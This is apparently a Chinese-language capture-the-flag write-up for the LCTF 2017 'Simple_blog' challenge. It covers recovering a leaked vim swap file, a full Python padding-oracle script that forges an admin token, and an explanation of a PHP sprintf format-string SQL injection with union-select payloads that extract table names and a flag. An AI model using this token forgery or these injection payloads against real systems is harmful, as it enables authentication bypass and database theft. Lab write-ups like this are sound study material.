LCTF Simple_blog WP

0x01 扫描目录 & 源码泄露

  • 御剑后台扫描工具

​ 下载地址:http://www.moonsec.com/post-753.html

  • AWVS

  • 脚本扫描

swp文件恢复

非正常关闭vi编辑器时会生成一个.swp文件

关于swp文件

使用vi,经常可以看到swp这个文件,那这个文件是怎么产生的呢,当你打开一个文件,vi就会生成这么一个.(filename)swp文件 以备不测(不测下面讨论),如果你正常退出,那么这个这个swp文件将会自动删除 。下面说不测。

不测分为:

  • 当你用多个程序编辑同一个文件时。
  • 非常规退出时。

第一种情况的话,为了避免同一个文件产生两个不同的版本(vim中的原话),还是建议选择readonly为好。

第二种情况的话,你可以用vim -r filename恢复,然后再把swp文件删除(这个时候要确保你的swp文件没有用处了,要不然你会伤心的)

swp文件的来历,当你强行关闭vi时,比如电源突然断掉或者你使用了Ctrl+ZZ,vi自动生成一个.swp文件,下次你再编辑时,就会出现一些提示。

你可以使用

vi -r {your file name}

0x02 Padding Oracle Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# -*- coding:utf-8 -*-
import requests
import base64
url='http://192.168.5.14/LCTF2017-master/src/web/simple-blog/src/login.php'
N=16

def inject_token(token):
header={"Cookie":"PHPSESSID="+phpsession+";token="+token}
result=requests.post(url,headers=header)
print header
return result
def xor(a, b):
return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])
def pad(string,N):
l=len(string)
if l!=N:
return string+chr(N-l)*(N-l)
def padding_oracle(N):
get=""
for i in xrange(1,N+1):
for j in xrange(0,256):
padding=xor(get,chr(i)*(i-1))
c=chr(0)*(16-i)+chr(j)+padding
result=inject_token(base64.b64encode(c))
if "Error!" not in result.content:
get=chr(j^i)+get
break
return get
def login(url):
payload = {
"username":"admin",
"password":"admin"
}
coo1 = {
"PHPSESSID":"h1frvln4me27ponpjt9vk8o5o1"
}
r = requests.post(url,cookies=coo1,data=payload,allow_redirects=False)
print r.headers
token = r.headers['Set-Cookie'][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
print token
session = "h1frvln4me27ponpjt9vk8o5o1"
return session, token
# print inject_token(token).content

while 1:
phpsession,token = login(url)
middle1=padding_oracle(N)
print middle1
print "\n"
if(len(middle1)+1==16):
for i in xrange(0,256):
middle=chr(i)+middle1
print "token:"+token
print "middle:"+middle
plaintext=xor(middle,token);
print "plaintext:"+plaintext
des=pad('admin',N)
tmp=""
print des.encode("base64")
for i in xrange(16):
tmp+=chr(ord(token[i])^ord(plaintext[i])^ord(des[i]))
print tmp.encode('base64')
result=inject_token(base64.b64encode(tmp))
print result.content
if "Login Form" not in result.content and "Error" not in result.content:
print result.content
print "success"
exit()

1
2
PHPSESSION:h1frvln4me27ponpjt9vk8o5o1
token:VB9BCGFpdhQBi9NcSQdbg==

修改token,成功登陆进后台,admin源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
session_start();
include('config.php');

if(!$_SESSION['isadmin']){
die('You are not admin');
}

if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
if(isset($_GET['title'])){
$title = mysql_real_escape_string($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
$result = mysql_query($sql,$con);
$row = mysql_fetch_array($result);
if(isset($row['title'])&&isset($row['content'])){
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}else{
die("This article does not exist.");
}
}
?>

在看到sprintf后,可以很直接的联系到前阵子爆出的关于wordpress的格式化字符串SQL注入漏洞。传送门: 从WordPress SQLi谈PHP格式化字符串问题(2017.11.01更新)

PHP格式化字符串漏洞

基于泄露出的源码,添加一些变量打印语句,本地测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$con = mysql_connect("localhost", "root", "root");

if(isset($_GET['id'])){
print_r("GET[id] => ".$_GET['id']."</br>");
$id = mysql_real_escape_string($_GET['id'],$con);
print_r("\$id => ".$id."</br>");

if(isset($_GET['title'])){
print_r("GET[title] => ".$_GET['title']."</br>");
$title = mysql_real_escape_string($_GET['title']);
print_r("escape string tile: \$title => ".$title."</br>");
$title = sprintf("AND title='%s'", $title);
print_r("After first sprintf : \$title => ".$title."</br>");
}else{
$title = '';
}

$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
print_r("sql => ".$sql);
}
?>

payload:

1
http://127.0.0.1:2500/index.php?id=1&title=flag%1$'%20 or 1=1%23

img

观察传入的title参数。

title传入的值为flag%1$' or 1=1#,经过mysql_real_escape_string,会使得单引号'前加上斜杠,也就是图片中的第四行:

1
escape string tile: $title => flag%1$\' or 1=1#

接下来执行一次sprintf("AND title='%s'", $title);,也就是将前面得到的title值title值为:

1
After first sprintf : $title => AND title='flag%1$\' or 1=1#'

接下来,又一次执行了sprintf

1
sprintf("SELECT * FROM article WHERE id='%s' AND title='flag%1$\' or 1=1#'", $id);

由于PHP的sprintf中,%1$\这样的语法,百分号%后面的数表示使用第几个参数,$后面的表示类型,常见的类型比如s表示字符串等等。比如%1$s,表示使用第一个参数,类型为字符串(%s)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
// 注format中,为防止 $ 被转义,在前面加了转义符。对于sprintf来说,即 %1$s
$format1 = "hello,%1\$s one<br/>";
$format2 = "hello,%2\$s two<br/>";
$format3 = "hello,%1\$\' three<br/>";
$format4 = "hello,%\$\' four<br/>";

print_r("format string 1 : ".$format1);
print_r("Result: ".sprintf($format1,"chybeta-1","chybeta-2"));

print_r("format string 2 : ".$format2);
print_r("Result: ".sprintf($format2,"chybeta-1","chybeta-2"));

print_r("format string 3 : ".$format3);
print_r(sprintf($format3,"chybeta-1","chybeta-2"));

print_r("format string 4 : ".$format4);
print_r(sprintf($format4,"chybeta-1","chybeta-2"));
?>

img

前两个示例是演示选择参数的用法。第三个和前两个比较,变成类型%\,会直接跳过不处理,并直接输出。第四个和第三个对比,少了参数选择,这会导致报错,无法正常打印。

回到前面的sprintf

1
sprintf("SELECT * FROM article WHERE id='%s' AND title='flag%1$\' or 1=1#'", $id);

通过百分号后的1,选择了一个参数(即id)不会爆错。利用类型%\,使得跳过。而原本在\后面的单引号,由于前面斜杠被当作了sprintf的类型,得以成功逃逸。

剩下的工作就是payload的编写了

测试payload:?id=0&title=%1$%27%20union%20select%201,2,3%23

1
2
3
#payload = "%1$' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#"  #注表名
#payload = "%1$' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x4b4559#" #注列名
payload = "%1$' union select 1,2,f14g from `key`#" #注字段

Note

这里有两个坑:

  • #号在url编码中为保留字符,浏览器在进行urlencode的时候不会对它进行编码,因此需要手工写成%23

    如果一个保留字符在特定上下文中具有特殊含义(称作”reserved purpose”) , 且URI中必须使用该字符用于其它目的, 那么该字符必须百分号编码. 百分号编码一个保留字符,首先需要把该字符的ASCII的值表示为两个16进制的数字,然后在其前面放置转义字符(“%“),置入URI中的相应位置。(对于非ASCII字符, 需要转换为UTF-8字节序, 然后每个字节按照上述方式表示.)

  • key这个表名是MYSQL保留字,我们把它当做表名带入查询时必须用反引号包起来,不然就会报语法错误而返回不了我们想要的结果。

坚持原创技术分享,您的支持将鼓励我继续创作!